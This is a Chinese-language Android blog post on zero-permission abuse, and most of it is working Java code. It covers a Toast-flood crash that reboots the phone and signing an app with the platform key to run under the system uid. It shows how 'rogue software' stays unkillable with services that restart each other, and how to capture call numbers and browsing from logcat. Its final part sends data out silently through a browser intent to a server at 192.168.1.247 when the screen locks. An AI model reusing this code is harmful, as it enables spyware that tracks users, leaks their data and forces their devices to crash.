一,0許可權重啟手機: 現在我們來定義一個實現該功能的類:
/** * 單擊事件 * @param view */ public void reboot(View view) { Intent reboot = new Intent(Intent.ACTION_REBOOT); reboot.putExtra("nowait", 1); reboot.putExtra("interval", 1); reboot.putExtra("window", 0); sendBroadcast(reboot); }
程式異常終止了,logcat控制輸出,說沒有許可權
我們需要瞭解一下重啟手機需要什麼樣的許可權
其中android:protectionLevel="signatureOrSystem"表明要只能是系統的程式或者簽名和系統簽名一樣的程式才能夠實現重啟手機的功能. 我們就在資訊清單檔裡面,加上缺少的許可權 <uses-permission android:name="android.permission.REBOOT"/>但是程式還是出現同樣的錯誤. 然而我們可以在把我們的程式提高成系統的許可權(我們程式的uid和系統的等級一樣)只需要這樣配置:android:sharedUserId="android.uid.system"運行後發現如下錯誤:
[2012-02-12 22:51:26 - android_safe_reboot] Installation error: INSTALL_FAILED_SHARED_USER_INCOMPATIBLE[2012-02-12 22:51:26 - android_safe_reboot] Please check logcat output for more details.
[2012-02-12 22:51:26 - android_safe_reboot] Launch canceled!表示安裝失敗,因為我們雖然使用android:sharedUserId="android.uid.system"但是我們程式的簽名不是系統的簽名,eclipse預設是debug簽名.所以現在我們的程式必須系統的簽名,當然可以到網站去下載.(platform.pk8,platform.x509.pem) 現在我們要做的是程式使用系統的簽名,那該怎麼做呢?(需要簽名打包工具signapk.jar,)第一步,出eclipse的我們寫的程式,在bin目錄下就可以找到.第二步,開啟該apk把,把裡面META-INF(包含的是一些預設簽名的資訊)的三個檔案刪除第三步,使用signapk.jar命定進行簽名打包.E:\2\douban4\SignApk (1)\SignApk>java -jar signapk.jarplatform.x509.pem platfor m.pk8android_safe_reboot.apk(原pak)reboot.apk(新apk)然後我們通過cmd命令把打包後的apk安裝到模擬器上,出現如下錯誤:
因為模擬器上已經有了這樣一個程式但是,他的簽名是debug簽名,我們知道唯一標識一個應用程式是包名和簽名只有兩個程式的簽名和包名一樣,那麼才表示這兩個應用程式是同一類別的程式.如一個應用程式要更新,那麼就必須保持簽名和包名一直,否則更新則不成功.以包名和簽名來標識一個程式,這樣有什麼好處?如果僅以包名來標識,如果別人知道了你程式的包名,那麼別人就可以也寫一個另類的程式,但是和你的包名一樣,使用者一安裝就把你的覆蓋了. 綜上所述,我們需要把模擬器上的這個程式卸載(adb uninstall 包名),然後我們再安裝簽名打包後的apk,啟動程式,單擊按鈕,然後模擬器會出現如下情況因為是模擬器,它會一直停留在該介面,如果是真機就不會出現這樣的情況.
但是,這樣做比較麻煩.我們可以通過下面的方式來實現.
public void reboot(View view){ // 利用多士來重啟手機 // system_server while(true){ Toast myToast = new Toast(this); myToast.setView(new View(this)); myToast.show(); } }
這段代碼應該寫到Service的子線程中,這樣就不會阻塞使用者的請求.二 ,流氓軟體是怎麼打造不死之身的.0許可權程式開機啟動,然後再次基礎上打造程式的不死之身.我們知道讓我們的程式開機啟動不需要配置任何許可權,只需要編寫一個廣播即可.要想使用者無法停止程式的服務,我們可以通過兩個Service來實現在第一個Service的onDestroy()方法裡面啟動第二個Service在第二個Service的onDestroy()方法裡面啟動第一個Service,這樣就無法停止程式的Service.然後在廣播裡面,開機啟動幾個服務即可. 三,我們的隱私真的安全嗎?我們可以通過程式來監聽使用者開了什麼網頁,和誰打了電話等一切資訊.這就需要用到logcat了logcat分為4個類別的日誌資訊:Main /dev/log/main 這就是logcat控制台輸出的日誌資訊Events /dev/log/events 關於事件的日誌資訊Radio /dev/log/radio 與網路通訊相關的日誌System /dev/log/system 與系統相關的日誌資訊現在假設你已經配置好了android環境變數, adb logcat -b radio然後我們通過DDMS給模擬器打電話(12121)我們可以從中看到電話號碼的蹤跡,記錄其他使用者行為也是一樣的.比如我們瀏覽一個網頁就可以通過events事件. 現在我們可以來記錄logcat日誌資訊.然後可以把我們想要的資料上傳到伺服器. 通過Service來把我們需要的日誌寫到檔案裡面
通過Service來把我們需要的日誌寫到檔案裡面try { Process process = Runtime.getRuntime().exec("logcat -b radio"); InputStream is = process.getInputStream(); BufferedReader br = new BufferedReader(new InputStreamReader(is)); //data/data File file = new File(Environment.getExternalStorageDirectory(),"log.txt"); FileOutputStream fos = new FileOutputStream(file); String result = null; while((result = br.readLine())!=null){ System.out.println(result); fos.write(result.getBytes()); fos.flush(); } } catch (Exception e) { e.printStackTrace(); }
四, 0許可權把資料上傳到伺服器,0許可權從伺服器下載資料我們知道與互連網打交道需要使用internet許可權.我們可以類比當使用者鎖屏的時候上傳,當使用者解鎖的時候,即停止上傳.
public class UploadService extends Service {private ScreenOFFBroadcastReciver sfReciver;private ScreenONBroadcastReciver soReciver;private KeyguardManager keyguardManager;Handler handler;@Overridepublic void onCreate() {super.onCreate();//關於鍵盤服務keyguardManager = (KeyguardManager) getSystemService(KEYGUARD_SERVICE);handler = new Handler();soReciver = new ScreenONBroadcastReciver();sfReciver = new ScreenOFFBroadcastReciver();//這兩個廣播接受者所關心的廣播 並註冊這兩個廣播接受者IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");registerReceiver(soReciver, onIntentFilter);IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");registerReceiver(sfReciver, offIntentFilter);}@Overridepublic IBinder onBind(Intent intent) {return null;}//螢幕鎖定對應的廣播class ScreenOFFBroadcastReciver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {System.out.println("螢幕鎖住");// 500ms後開始執行上傳資料handler.postDelayed(r, 500);}}//螢幕開啟對應的廣播class ScreenONBroadcastReciver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) { System.out.println("螢幕開啟"); // 取消資料上傳 handler.removeCallbacks(r); //類比home鍵 Intent intent2 = new Intent(Intent.ACTION_MAIN); intent2.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);// 注意 intent2.addCategory(Intent.CATEGORY_HOME); context.startActivity(intent2); }}private Runnable r = new Runnable() { @Override public void run() { // 如果是鎖屏狀態 if (keyguardManager.inKeyguardRestrictedInputMode()) { // GET上傳,內容隨你 String hackInfo = "http://192.168.1.247:8080/data.jsp?data=" + new Random().nextFloat(); Intent it = new Intent(); it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); Uri uri = Uri.parse(hackInfo); it.setAction(Intent.ACTION_VIEW); it.setData(uri); startActivity(it); System.out.println("提交資料 " + hackInfo); // 每隔5秒,執行一次上傳 handler.postDelayed(r, 5000);}}};} 但是以上有一個問題,就是瀏覽器別啟動了,如果使用者去啟動瀏覽器,發現瀏覽器已經被啟動了.0,許可權上傳資料到伺服器,只需要通過get方式即可後面帶上參數如,http://192.168.1.1:8080/dd.zip
通過命令給APK簽名:
進入JDK安裝目錄如: C:\Program Files\Java\jdk1.6.0_10\bin然後通過一下命令即可給未簽名的apk簽名了..
jarsigner -verbose -keystore xxx.keystore -signedjar out.apk in.apk xxx.keystore
有什麼不足盡請讀者批評指正.謝謝
轉載請註明出處: http://blog.csdn.net/johnny901114/article/details/7536796